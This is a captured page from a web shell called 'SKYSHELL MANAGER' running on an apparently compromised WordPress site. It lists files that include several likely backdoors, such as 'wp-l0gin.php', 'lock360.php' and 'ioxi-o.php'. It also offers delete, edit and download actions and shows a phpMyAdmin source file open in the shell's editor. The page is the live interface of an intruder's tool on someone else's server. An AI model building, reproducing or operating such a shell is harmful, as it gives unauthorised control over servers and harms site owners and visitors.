📁
SKYSHELL MANAGER
PHP v8.3.31
Create
Create
Path:
root
/
www
/
wwwroot
/
23winw.org
/
Name
Size
Perm
Actions
📁
seo
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0777
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.user.ini
0.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
32.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
adminfuns.php
24.51 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
asd.php
143.87 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
2.02 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
connects.php
4.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
css
1.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
dataxy.php
37.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
dex.php
77.67 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
169.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
14.36 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ioxi-o.php
966.6 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kk.php
3.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
link-parse-opml.php
53.15 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
lock360.php
47.7 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
moddofuns.php
5.36 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
my-sites.php
161.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
siteheads.php
168.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
thoms.php
399.45 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
worksec.php
1.06 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.54 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.61 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
5.02 KB
0600
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php..
3.56 KB
0666
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-editor.php
53.71 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-l0gin.php
170.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
51.3 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-set.php
181.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
32.38 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-sign.php
181.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
34.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
70.92 KB
0000
🗑️
🏷️
⬇️
✏️
🔒
Edit: TemplateModel.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Export; use PhpMyAdmin\DatabaseInterface; use PhpMyAdmin\Dbal\DatabaseName; use PhpMyAdmin\Dbal\TableName; use PhpMyAdmin\Util; use function sprintf; final class TemplateModel { /** @var DatabaseInterface */ private $dbi; public function __construct(DatabaseInterface $dbi) { $this->dbi = $dbi; } public function create(DatabaseName $db, TableName $table, Template $template): string { $query = sprintf( 'INSERT INTO %s.%s (`username`, `export_type`, `template_name`, `template_data`)' . ' VALUES (\'%s\', \'%s\', \'%s\', \'%s\');', Util::backquote($db), Util::backquote($table), $this->dbi->escapeString($template->getUsername()), $this->dbi->escapeString($template->getExportType()), $this->dbi->escapeString($template->getName()), $this->dbi->escapeString($template->getData()) ); $result = $this->dbi->tryQueryAsControlUser($query); if ($result !== false) { return ''; } return $this->dbi->getError(DatabaseInterface::CONNECT_CONTROL); } public function delete(DatabaseName $db, TableName $table, string $user, int $id): string { $query = sprintf( 'DELETE FROM %s.%s WHERE `id` = %s AND `username` = \'%s\';', Util::backquote($db), Util::backquote($table), $id, $this->dbi->escapeString($user) ); $result = $this->dbi->tryQueryAsControlUser($query); if ($result !== false) { return ''; } return $this->dbi->getError(DatabaseInterface::CONNECT_CONTROL); } /** * @return Template|string */ public function load(DatabaseName $db, TableName $table, string $user, int $id) { $query = sprintf( 'SELECT * FROM %s.%s WHERE `id` = %s AND `username` = \'%s\';', Util::backquote($db), Util::backquote($table), $id, $this->dbi->escapeString($user) ); $result = $this->dbi->tryQueryAsControlUser($query); if ($result === false) { return $this->dbi->getError(DatabaseInterface::CONNECT_CONTROL); } $data = []; while ($row = $result->fetchAssoc()) { $data = $row; } return Template::fromArray([ 'id' => (int) $data['id'], 'username' => $data['username'], 'exportType' => $data['export_type'], 'name' => $data['template_name'], 'data' => $data['template_data'], ]); } public function update(DatabaseName $db, TableName $table, Template $template): string { $query = sprintf( 'UPDATE %s.%s SET `template_data` = \'%s\' WHERE `id` = %s AND `username` = \'%s\';', Util::backquote($db), Util::backquote($table), $this->dbi->escapeString($template->getData()), $template->getId(), $this->dbi->escapeString($template->getUsername()) ); $result = $this->dbi->tryQueryAsControlUser($query); if ($result !== false) { return ''; } return $this->dbi->getError(DatabaseInterface::CONNECT_CONTROL); } /** * @return Template[]|string */ public function getAll(DatabaseName $db, TableName $table, string $user, string $exportType) { $query = sprintf( 'SELECT * FROM %s.%s WHERE `username` = \'%s\' AND `export_type` = \'%s\' ORDER BY `template_name`;', Util::backquote($db), Util::backquote($table), $this->dbi->escapeString($user), $this->dbi->escapeString($exportType) ); $result = $this->dbi->tryQueryAsControlUser($query); if ($result === false) { return $this->dbi->getError(DatabaseInterface::CONNECT_CONTROL); } $templates = []; while ($row = $result->fetchAssoc()) { $templates[] = Template::fromArray([ 'id' => (int) $row['id'], 'username' => $row['username'], 'exportType' => $row['export_type'], 'name' => $row['template_name'], 'data' => $row['template_data'], ]); } return $templates; } }
Save